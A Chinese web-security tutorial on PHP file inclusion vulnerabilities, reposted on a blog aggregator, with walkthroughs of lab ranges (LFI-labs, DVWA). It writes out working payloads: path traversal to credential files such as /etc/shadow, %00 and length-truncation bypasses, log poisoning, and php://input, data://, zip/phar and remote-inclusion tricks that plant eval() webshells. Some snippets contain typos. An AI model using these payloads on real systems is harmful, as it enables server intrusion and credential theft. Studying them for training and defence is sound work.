[Web安全 网络安全]-文件包含漏洞

文章目录:

一:前言

1.什么是文件包含漏洞

2.文件包含漏洞的成因

3.文件包含漏洞的分类

4.文件包含漏洞的防御策略

5.文件包含函数(触发点Sink)

6.环境 

6.1 靶场

6.2 其他工具 

二:文件包含LFI labs靶场实验

LFI-1

LFI-2

LFI-3

LFI-4

LFI-5

LFI-6

LFI-7-14

三:文件包含漏洞的-利用方式

1.本地文件方式利用 

1.1 包含日志文件获取webshell

1.2 利用file协议

1.3 php_filter命令获取flag

1.4 php_ zip命令压缩协议获取webshell

1.5 phar://协议

2.远程文件方式利用 

2.1 包含远程文件

2.2 php_input命令执行及获取webshell

2.3 php_data命令获取webshell

四:文件包含漏洞的-绕过方式

1.本地文件绕过方式绕过

%00截断

路径长度截断/操作系统特性进行文件包含绕过(.   ,/)

2.远程文件绕过方式绕过(?%23 %20 )


一:前言

1.什么是文件包含漏洞

定义:文件包含漏洞(File Inclusion Vulnerability)通常出现在动态网页中它允许攻击者在应用程序中任意包含本地或远程文件,从而导致敏感信息泄露、远程命令执行甚至完全控制目标系统为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来直接使用包含文件的代码简单来说:开发人员将需要重复的函数写入一个文件,对该文件进行包含时产生的操作目的:提高代码的重复利用率、减少代码冗余、降低代码后期维护难度

2.文件包含漏洞的成因

文件包含漏洞的成因:文件包含漏洞出现在PHP语言中,在未正确进行输入验证和过滤的用户提供的输入情况下在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞简单来说:加载的参数没有经过过滤或严格定义,可以被用户控制,,包含其他恶意文件导致执行非预期代码<?php $file=$_GET['filename'];include($filename);//...?>http://xxx/xxx.php?filename=show.php改变filename值即可改变代码中含有的文件

3.文件包含漏洞的分类

文件包含的内容只要符合php语法:都能被当成php代码进行解析,无关后缀名是什么 

文件包含漏洞的分类本地文件包含(Local File Inclusion, LFI):当被包含的文件位于服务器本地时,就形成了本地文件包含漏洞攻击者可以利用这个漏洞读取服务器上的敏感文件,如配置文件、数据库文件等,甚至执行服务器上的恶意脚本例子:http://localhost/filename/?page=c:/windows/win.ini远程文件包含(Remote File Inclusion, RFI):当被包含的文件位于第三方服务器时,就形成了远程文件包含漏洞这种漏洞允许攻击者包含并执行远程服务器上的恶意脚本url文件,从而对目标系统造成更大的威胁但需要注意的是,远程文件包含漏洞的利用通常需要服务器配置中的allow_url_include选项被开启php.ini中设置:php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off)allow_url_fopen:为ON时,能读取远程文件,默认;例如file_get_contents()就能读远程文件Alow_url_include:为ON时,就可使用include和require等方式包含远程文件例子:http://localhost/filename/?page=../../../phpinfo.php例子:http://localhost/filename/?page=phpinfo.txxphpinfo.txt    <?php phpinfo();?>

4.文件包含漏洞的防御策略

文件包含漏洞的防御策略过滤危险字符:使用如str_replace等方法过滤掉用户输入中的危险字符配置open_basedir:通过配置php.ini中的open_basedir指令,限制PHP能够打开的文件目录,防止目录遍历使用安全的文件包含函数:推荐使用include_once()和require_once()函数来包含文件,这些函数可以防止文件被包含多次验证用户输入:在包含文件之前,验证用户输入是否是有效的,防止攻击者通过提交恶意文件来触发文件包含漏洞使用白名单:对于动态包含的文件,可以设置一个白名单,只包含白名单中的文件做好权限管理:确保文件和目录的权限设置合理,防止非授权用户访问敏感文件使用Web应用程序防火墙(WAF):WAF可以阻止攻击者利用文件包含漏洞进行恶意攻击过滤.(点)/(反斜杠)\(反斜杠)禁止服务器远程文件包含尽量不要使用动态包含,可以在需要包含的页面固定写好

5.文件包含函数(触发点Sink

require组require函数出现错误,会直接报错并退出程序执行
require_once函数出现错误,会直接报错并退出程序执行;仅包含一次
include组include函数出现错误,会抛出一个警告,程序继续执行
include_once函数出现错误,会抛出一个警告,程序继续执行;仅包含一次

代码审计时间用 

Include:如果包含的文件有错误/路径有错误,会继续执行,不会影响整个程序;  有返回值如果指定的文件不存在,PHP会发出一个警告(E_WARNING),但脚本会继续执行include 可以在脚本的任意位置使用,以引入需要的功能代码Include_once:只包含一次require:如果包含的文件有错误/路径有错误,会继续执行,  会影响整个程序;没有返回值如果指定的文件不存在,PHP会发出一个致命错误(E_COMPILE_ERROR),并停止脚本的执行。这通常用于那些缺少了就无法继续执行的文件require once:与 require 类似,但它在引入文件之前会检查该文件是否已经被引入过,以避免重复引入highlight_file():用于输出文件并语法高亮显示这对于查看PHP源代码特别有用,因为它会以HTML格式显示文件内容,并尝试对PHP代码进行语法高亮show_source():与 highlight_file() 类似,但它直接输出或返回文件的源代码,而不是通过浏览器显示它同样尝试对PHP代码进行语法高亮readfile():将整个文件读入一个字符串,并将文件内容输出,这个函数主要用于直接输出文件到浏览器或客户端file_get_contents():将整个文件读入一个字符串与 readfile() 不同,file_get_contents() 不会直接输出文件内容,而是将内容存储在变量中,供后续处理fopen():用于打开文件或URL返回一个文件指针资源,之后可以使用其他文件操作函数(如 fread()、fwrite()、fclose() 等)对文件进行读写操作file(): 将整个文件读入一个数组中,每个元素都是文件的一行。这对于逐行处理文件内容非常方便

6.环境 

6.1 靶场

LFI labs:lfi-labs、lfi-labs-master镜像地址 

Bugku CTF:由乌云知识库(wooyun.org)推出的在线漏洞靶场

pikachu:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞

DVWA:是一个PHP/MySQL Web应用程序,包含常见漏洞,用于安全培训和练习,可参考

6.2 其他工具 

phpSdudy

burp

中国菜刀

二:文件包含LFI labs靶场实验

绕过方式不带后缀绕过
%00截断
加点.绕过
加斜杠点/.绕过
深入目录../../绕过
双写../绕过 或者  ../替换空格绕过
phpinfo.php<?php phpinfo(); ?>webshell.php    {eval() 函数把字符串按照 PHP 代码来计算}<?php @eval($_POST([margin])); ?>    

LFI-1

Load URL地址:http://www.lfi.com/LFI-1/后台代码<?php include($_GET["page"]); ?>获取系统敏感文件http://www.lfi.com/LFI-1/?page=c:\\boot.ini获取webshell    http://www.lfi.com/LFI-1/?page=phpinfo.phphttp://www.lfi.com/LFI-1/?page=phpinfo.jpghttp://www.lfi.com/LFI-1/?page=phpinfo.txthttp://www.lfi.com/LFI-1/?page=../webshell.php

LFI-2

Load URL地址:http://www.lfi.com/LFI-2/后台代码<?php include("includes/".$_GET['library'].".php"); ?>获取系统敏感文件http://www.lfi.com/LFI-2/?library=c://boot.iniinclude("includes/c://boot.ini.php"); 绝对路径http://www.lfi.com/LFI-2/?library=c://boot.ini%00            %00截断include("includes/c://boot.ini%00.php"); include("includes/c://boot.ini   .php"); 相对路径http://www.lfi.com/LFI-2/?library=../boot.ini%00            http://www.lfi.com/LFI-2/?library=../../boot.ini%00            http://www.lfi.com/LFI-2/?library=../../../boot.ini%00            include("includes/../../../boot.ini%00.php"); include("includes/../../../boot.ini   .php"); http://www.lfi.com/LFI-2/?library=../../../phpinfo.php%00      获取webshellhttp://www.lfi.com/LFI-2/?library=../../../webshell.php%00  

LFI-3

Load URL地址:http://www.lfi.com/LFI-3/后台代码<?php if(substr($_GET['file'],-4,4)!= '.php')                    //从结尾倒数第四个开始,取4个长度echo file_get_contents($_GET['file']);elseecho 'you are not allowed to see source files'."\n";?>获取系统敏感文件http://www.lfi.com/LFI-3/?file=c://boot.ini                     可以查看http://www.lfi.com/LFI-3/?file=../phpinfo.ini                   不可以查看http://www.lfi.com/LFI-3/?file=../phpinfo.ini%00            没有提示http://www.lfi.com/LFI-3/?file=../../../../phpinfo.ini%00   还是不可以http://www.lfi.com/LFI-3/?file=../../phpinfo.php.           加点.绕过http://www.lfi.com/LFI-3/?file=../../phpinfo.php/.          加斜杠点/.绕过http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00         利用burp工具抓包%00截断

LFI-4

Load URL地址:http://www.lfi.com/LFI-4/后台代码//---------------------------------------------------------------------------------//addslashes()函数:返回在预定义字符之前添加反斜杠的字符串    在他们{'  "  \  NULL}之前添加\如果用%00截断,他们的区别../../../../../phpinfo.php../../../../../phpinfo.php\0        //---------------------------------------------------------------------------------//<?php $path = "includes/class_'.addslashes($_GET(['class'])).'.php ";echo file_get_contents($path);?>获取系统敏感文件http://www.lfi.com/LFI-4/?class=../phpinfo                    不可以查看http://www.lfi.com/LFI-4/?class=../../../../../phpinfo        可以查看(深入目录../../绕过)如果$path = "includes/class_'.($_GET(['class'])).'.php ";http://www.lfi.com/LFI-4/?class=../../../../../phpinfo%00 也可以查看

LFI-5

Load URL地址:http://www.lfi.com/LFI-5/后台代码<?php $file=str_replace('../','',$_GET('file'));if(isset($file))include("page/$file");elseinclude("index.php");?>获取系统敏感文件http://www.lfi.com/LFI-5/?file=c://boot.ini                   不可以查看http://www.lfi.com/LFI-5/?file=../../phpinfo.php              不可以查看http://www.lfi.com/LFI-5/?class=..././..././../phpinfo.info   可以查看(双写../绕过 或者 ../替换空格绕过)

LFI-6

Load URL地址:http://www.lfi.com/LFI-6/后台代码<?php include($_POST["page"]);?>获取系统敏感文件http://www.lfi.com/LFI-6/?page=c://boot.ini                   可以查看http://www.lfi.com/LFI-6/?page=../../phpinfo.php              可以查看获取webshell:但是POST文件包含无法直接获取,需要加工一下(文件包含写shell)第一步:image.jpg在图片里面写入:小马<?php fputs(fopen("shell.php","w"), '<?php eval($_POST[shell])?>'); ?>第二步:勾选enable post data,执行会生成一个shell.phphttp://www.lfi.com/LFI-6/?page=../../image.php       第三步:访问查看http://www.lfi.com/LFI-6/?page=../../shell.php        可以查看

LFI-7-14

第七题POST方式提交1ibrary=../../../phpinfo.php%00                            %00截断或者        1ibrary=../../../phpinfo                                   不带后缀第八题POST提交http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00             %00截断    或者                                         phpinfo.php/.              /.绕过第九题POST提交class=../../../../../phpinfo                                   不带后缀
第十题POST提交fi1e=..././..././..././phpinfo.php                             双写../替换为空第十一题POST:stylepath=../../phpinfo.php      hidden隐藏的输入框               两个参数(分别试一试)
第十二题GET :stylepath=../../phpino.php       hidden隐藏的输入框               两个参数(分别试一试)第十三题GET 方式:fi1e=..././..././..././phpinfo.php                            双写../替换为空
十四题POST方式:file=..././..././..././phpinfo.php                            双写../替换为空

三:文件包含漏洞的-利用方式

                                                                                                PHP支持的协议和封装协议

file://访问本地文件系统
http://访问HTTP(s)网址
fpt://访问FPT(s) URLs
php://访问各个输入/输出流(I/O  streams)
zlib://压缩流
data://数据(RFC 2397)
glob://查找匹配的文件路径模式
phar://PHP文档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

文件包含漏洞的利用方式直接包含恶意文件:攻击者可以通过URL参数直接指定恶意文件的路径,使应用程序包含并执行该文件利用伪协议:如php://filter、data://等,这些伪协议允许攻击者控制输入流,将恶意代码作为输入流传递给应用程序php://filter 是一种元封装器 ,设计用于数据流打开时的筛选过滤应用data:// 同样类似与php://input,可以让用户来控制输入流php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行phar://xxx.png/shell.php 解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压包含日志文件:通过包含服务器的日志文件(如Apache的access.log或error.log)来执行日志中的恶意代码包含session00截断长度截断(Windows:256;Linux:4096)

1.本地文件方式利用 

1.1 包含日志文件获取webshell

                                                                                                日志默认路径
apache+Linux日志默认路径/etc/httpd/logs/access_log
/var/log/httpd/access_log
apache+win2003日志默认路径D:\xampp\apache\logs\access.log
D:\xamppiapache\logs\error.log
IIS6.0+win2003默认日志文件C:WINDOUS\system32\Logfiles
IIS7.0+win2003 默认日志文件%SystemDrives%\inetpub\logs\LogFiles
nginx日志文件日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx
那我的日志目录就是在/usr/local/nginx/logs里
                                                                                        敏感文件默认路径列举
windows系统C:\boot.ini查看系统版本
C:\windows\system32\inetsrvMetaBase.xmliis配置文件
C:\windowslrepairlsame存储windows系统初次安装密码
C:\ProgramFilesmysqlmy.inimysql配置信息
C:\ProgramFiles\mysql\data\mysqluser.MYDmysql root密码
C:\lwindowslphp.iniphp配置信息
linux/unix系统/etc/passwd账户信息
/etc/shadow账户密码文件
/usr/local/app/apache2/conf/httpd.confApache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf虚拟网站配置
/usr/local/app/php5/lib/php.iniphp相关配置
/etc/httpd/conf/httpd.confapache配置信息
/etc/my.confmysql配置文件
Load URL地址:http://www.lfi.com/LFI-1/访问日志文件http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log查看一句话木马第一步:写入http://www.lfi.com/LFI-1/<?php phpinfo(); ?>http://www.lfi.com/LFI-1/?page=../../phpinfo.php第二步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.loghttp://www.lfi.com/LFI-1/page=..\..\..\Apache\logs\datafile.log特殊字符被url编码问题:用burp抓包 获取url页面 第一步:执行    http://www.lfi.com/LFI-1/第二步:修改    GET /LEI-1/HTTP/1.1    GET /LEI-1/<?php phpinfo(); ?> HTTP/1.1 第三步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log获取一句话木马第一步:执行    http://www.lfi.com/LFI-1/第二步:修改    GET /LEI-1/HTTP/1.1    GET /LEI-1/<?php @eval($_POST([margin])); ?> HTTP/1.1 第三步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log

1.2 利用file协议

 php.ini中设置allow url fopen =off)、allow url include= off)

Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=file://c:/windows/win.ini

1.3 php_filter命令获取flag

php://fi1ter 是一种元封装器,设计用于数据流打开时的筛选过滤应用
这对于一体式(all-in-one)的文件函数非常有用,类似 readfle()、fle()和 fle_get_contents(),在数据流内容读取之前没有机会应用其他过滤器php://fi1ter参数resource=<要过滤的数据流>        这个参数是必须的。它指定了你要筛选过滤的数据流read=<读链的筛选列表>            该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔write=<写链的筛选列表>           该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>              任何没有以 read=或 write=作前缀 的筛选器列表会视情况应用于读或写链
Load URL地址:http://www.lfi.com/php/php_filter.php编码文件Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=php_filter.php解码文件:利用burp(decode as——>base64)读取flag.php文件——>利用burp解码Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=flag.php获取flaghttp://www.lfi.com/php/php_filter.php

1.4 php_ zip命令压缩协议获取webshell

Load URL地址:http://www.lfi.com/php/php_zip.phpzip//、bzip2://、zlib//协议压缩流版本,利用条件按为php版本大于5.3.0格式:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]获取压缩包里面的文件:backdoor.phphttp://www.lfi.com/php/php_zip.php?file=uploadhttp://www.lfi.com/php/php_zip.php?file=zip://c:\phpstudy\etc.zip%23backdoor.php

1.5 phar://协议

类似于zip协议,但是可以使用相对路径格式:phar://[压缩文件绝对/相对路径]压缩文件内的子文件名]上传http://www.lfi.com/php/php_zip.php?file=phar://../../phpstudy/etc.zip/backdoor.phpbackdoor.php<?php fputs(fopen("shell.php","w"), '<?php eval($_POST["cmd"])?>'); ?><?php phpinfo(); ?>访问shell.phphttp://www.lfi.com/php/shell.php

2.远程文件方式利用 

2.1 包含远程文件

php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off) 

Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/phpinfo.php远程包含shellhttp://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=http://localhost/remoteshell.txtremoteshell.txt<?php$payload="<?php eval(\$_POST['&cmd'])?>":$myfile =fopen('demo.php','w) or die("can't open the file!");fwrite($myfile,$payload);fclose($myfile);?>

2.2 php_input命令执行及获取webshell

php.ini中设置allow url fopen =Off、allow url include= On

Load URL地址:http://www.lfi.com/php/page=php://input获取phpinfo页面http://www.lfi.com/php/php_input.php?file=php://input <?php phpinfo();?>获取当前操作系统目录http://www.lfi.com/php/php_input.php?file=php://input <?php syetem("dir");?>获取目录里面内容:在服务器上写入小马http://www.lfi.com/php/php_input.php?file=php://input <?php fputs(fopen("shell.php","w"), '<?php eval($_POST[margin]);?>'); ?>访问shell.phphttp://www.lfi.com/php/shell.php

2.3 php_data命令获取webshell

php.ini中设置allow url fopen =Off、allow url include= On 

Load URL地址:http://www.lfi.com/php/php_data.php获取phpinfo文件页面http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>base <?php phpinfo()?>编码http://127.0.0,1/cmd,php?file=data://text/plain;base64.pp9waHAgcGhwaw5mbygpPz4==http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>http://127.0.0.1/cmd.php?file=data:text/plain;base64,Pb9waHagcGhwaW5mbvgpPz4写入小马http://127.0.0.1/cmd.php?file=data://text/plain,<?PHP fputs(fopen("shell.php","w",'<?php eval($ posT[margin]);?>');?>访问shell.phphttp://www.lfi.com/php/shell.php

四:文件包含漏洞的-绕过方式

这里可以参考之前的方法:问号、空格、注释、双写、大小写、截断等 

1.本地文件绕过方式绕过

<?php include("inc/" .$_GET['file'] . ".htm");?>

%00截断

原理:php内核由c语言实现,因此使用了c语言中的字符串处理函数,在连接字符串时0字节作为字符串的结束符  %00url解码为0x00,magic quotes gps开启时会将%00转义为\0的两个单体字符,故不具备截断功能条件:magic quotes gps=off php版本<5.3.4?page=../../../../phpinfo.php%00%00截断目录遍历:条件:magic_quotes_gps=off unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris?page=../../../../var/www/%00

路径长度截断/操作系统特性进行文件包含绕过(.   ,/)

文件名不能包含下列任何字符之一:\ / : * ? < > |  

Load URL地址:http://www.lfi.com/LFI-1/php版本小于5.2.8后台代码:在php5.3版本以后就不可以使用00截断<?php include($_GET["page"]."html"); ?>解决办法文件后缀上有多个或单个的点,会被自动消除文件名大于256个字符会自动被丢弃掉绕过办法backdoor.php(<?php phpinfo()?>)  http://www.lfi.com/LFI-1/?page=backdoor.php.....大于256个.    或者大于256个././././Windows下目录最大长度为256字节,超出的部分会被丢弃linux  下目录最大长度为4096字节,超出的部分会被丢弃

2.远程文件绕过方式绕过(?%23 %20 )

<?php$basePath =$_GET['path'];require_once $basePath ."/action/m_share.php";
?>绕过方式http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php?代码实际执行了:require once http://localhost/shell.php?/action/m share.php将/action/m share.php作为http://localhost/shell.php的querystring查询字符串http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://locahost/shell.php%23http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%20

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/421728.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GD32E230 RTC报警中断功能使用

GD32E230 RTC报警中断使用 GD32E230 RTC时钟源有3个&#xff0c;一个是内部RC振动器产生的40KHz作为时钟源&#xff0c;或者是有外部32768Hz晶振.,或者外部高速时钟晶振分频作为时钟源。 &#x1f516;个人认为最难理解难点的就是有关RTC时钟异步预分频和同步预分频的计算。在对…

图神经网络介绍3

1. 图同构网络&#xff1a;Weisfeiler-Lehman 测试与图神经网络的表达力 本节介绍一个关于图神经网络表达力的经典工作&#xff0c;以及随之产生的另一个重要的模型——图同构网络。图同构问题指的是验证两个图在拓扑结构上是否相同。Weisfeiler-Lehman 测试是一种有效的检验两…

python-数字反转

题目描述 给定一个整数 N&#xff0c;请将该数各个位上数字反转得到一个新数。新数也应满足整数的常见形式&#xff0c;即除非给定的原数为零&#xff0c;否则反转后得到的新数的最高位数字不应为零&#xff08;参见样例 2&#xff09;。 输入格式 一个整数 N。 输出格式 …

FAT32文件系统详细分析 (格式化SD nandSD卡)

FAT32 文件系统详细分析 (格式化 SD nand/SD 卡) 目录 FAT32 文件系统详细分析 (格式化 SD nand/SD 卡)1. 前言2.格式化 SD nand/SD 卡3.FAT32 文件系统分析3.1 保留区分析3.1.1 BPB(BIOS Parameter Block) 及 BS 区分析3.1.2 FSInfo 结构扇区分析3.1.3 引导扇区剩余扇区3.1.4 …

【Go】Go语言中的基本数据类型与类型转换

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

IDEA创建MAVEN项目

这里介绍如何使用IDEA创建MEAN工程&#xff0c;这里以创建模块举例&#xff0c;创建项目步骤相当&#xff1b; 创建项目 File-项目-new-module 这里选择普通java项目&#xff0c;Archetype选quickstart 项目介绍 create后可以看到创建的demo1 及其目录结构 里面默认的App里…

C++设计模式——Mediator中介者模式

一&#xff0c;中介者模式的定义 中介者模式是一种行为型设计模式。它通过一个中介者对象将多个对象之间的交互关系进行封装&#xff0c;使得对象之间的交互需要通过中介者对象来完成。该设计模式的结构很容易理解&#xff0c;以中介者为中心。 中介者模式的设计思想侧重于在…

【爬虫软件】小红书按关键词批量采集笔记,含笔记正文、转评赞藏等!

一、背景介绍 1.1 爬取目标 熟悉我的小伙伴都了解&#xff0c;我之前开发过2款软件&#xff1a; 【GUI软件】小红书搜索结果批量采集&#xff0c;支持多个关键词同时抓取&#xff01; 【GUI软件】小红书详情数据批量采集&#xff0c;含笔记内容、转评赞藏等&#xff01; 现在…

【Linux】进程调度与切换

【Linux】进程调度与切换 1. 基本概念2. 进程切换3. 进程调度3.1运行队列实现优先级设计3.2 处理效率问题3.3 活动队列与过期队列3.4 如何解决饥饿问题3.5 active指针和expired指针 1. 基本概念 竞争性: 系统进程数目众多&#xff0c;而CPU资源只有少量&#xff0c;甚至1个&am…

Linux——高流量 高并发(访问场景) 高可用(架构要求)

高并发通用设计逻辑&#xff1a; 定位单点&#xff0c;拆分问题 架构调整的顺序&#xff1a; 动静分离 // 没有实现动静分离 // 静态请求 交给 nginx或者 httpd 这种对于静态资源处理效率更高的服务&#xff0c;动态请求 交给php-fpm 服务来处理 使用云服务提供商 &#xff…

数据库(DB、DBMS、SQL)

今天我来讲解一下数据库和可视化数据库管理系统的使用 数据库概述 数据库 存储数据的仓库&#xff0c;数据是有组织的存储 DataBase (DB) 数据库管理系统 操纵和管理数据库的大型软件 DataBaseMangement System (DBMS) SQL 操作关系型数据库的编程语言&#xff0c;定义…

探索最佳 Shell 工具:全面测评 Bash、Zsh、Fish、Tcsh 和 Ksh

感谢浪浪云支持发布 浪浪云活动链接 &#xff1a;https://langlangy.cn/?i8afa52 文章目录 1. 简介2. 测评工具3. 测评标准4. Bash 测评4.1 易用性4.2 功能特性4.3 性能4.4 可定制性4.5 社区和支持 5. Zsh 测评5.1 易用性5.2 功能特性5.3 性能5.4 可定制性5.5 社区和支持 6. F…

Java、python、php三个版本 抗震救灾物资管理系统 抗洪救灾物资分配系统 救援物资申请平台(源码、调试、LW、开题、PPT)

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人 八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题可以一起交流&…

解锁SAP数据的潜力:SNP Glue与SAP Datasphere的协同作用

在各种文章中&#xff0c;我们研究了客户如何利用SNP Glue与基于云的数据仓库和数据湖相结合&#xff0c;以充分利用其SAP数据。SNP Glue 通过高性能集成解决方案帮助客户解锁 SAP 数据孤岛。例如&#xff0c;可以使用SNP Glue先进的增量捕获&#xff08;CDC&#xff09;近乎实…

DIC技术助力新能源汽车主机厂力学测试研发与整车性能提升

在新能源汽车研发过程中&#xff0c;非接触式全视场应变DIC测量方案&#xff0c;越来越受到汽车主机厂的信赖与认可。传统接触式传感器&#xff0c;在精度、灵活性和数据处理能力上存在局限。DIC技术可提供精确、高效、全视场、便捷的非接触式测量解决方案。 在汽车研发阶段&a…

算法41:位1的个数

一、需求 编写一个函数&#xff0c;获取一个正整数的二进制形式并返回其二进制表达式中 设置位的个数&#xff08;也被称为汉明重量&#xff09;。 示例 1: 输入&#xff1a;n 11 输出&#xff1a;3 解释&#xff1a;输入的二进制串 1011 中&#xff0c;共有 3 个设置位。示…

生命周期函数

所有继承MonoBehavior的脚本 最终都会挂载到Gameobiject游戏对象上 1.生命周期西数 就是该脚本对象依附的Gameobject对象从出生到消亡整个生命周期中 会通过反射自动调用的一些特殊函数 2.Unity帮助我们记录了一个Gameobject对象依附了哪些脚本 会自动的得到这些对象&#x…

医院管理|基于java的医院管理系统小程序(源码+数据库+文档)

医院管理系统小程序 目录 基于java的医院管理系统小程序 一、前言 二、系统设计 三、系统功能设计 医生信息管理 排班信息管理 科室信息管理 科室预约 病历信息 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a;…

中信银行信用卡中心社招:TAS人才测评系统题库及通关攻略更新了!

中信银行信用卡中心&#xff08;以下简称“卡中心”&#xff09;是中信银行在深圳设立的对信用卡业务进行统一管理、集中操作、独立核算的专营机构。2002年底&#xff0c;由中信银行总行与中信嘉华银行在深圳合作筹建成立&#xff1b;卡中心自成立伊始&#xff0c;始终坚持“以…

k8s的环境配置

一、前期系统环境准备 准备3台主机&#xff1a;硬盘50G cpu2个 内存2G 1、3台主机同时配置 1&#xff09;关闭防火墙与selinux、NetworkManager [rootk8s-master ~]# systemctl stop firewalld[rootk8s-master ~]# systemctl disable firewalldRemoved symlink /etc/systemd/…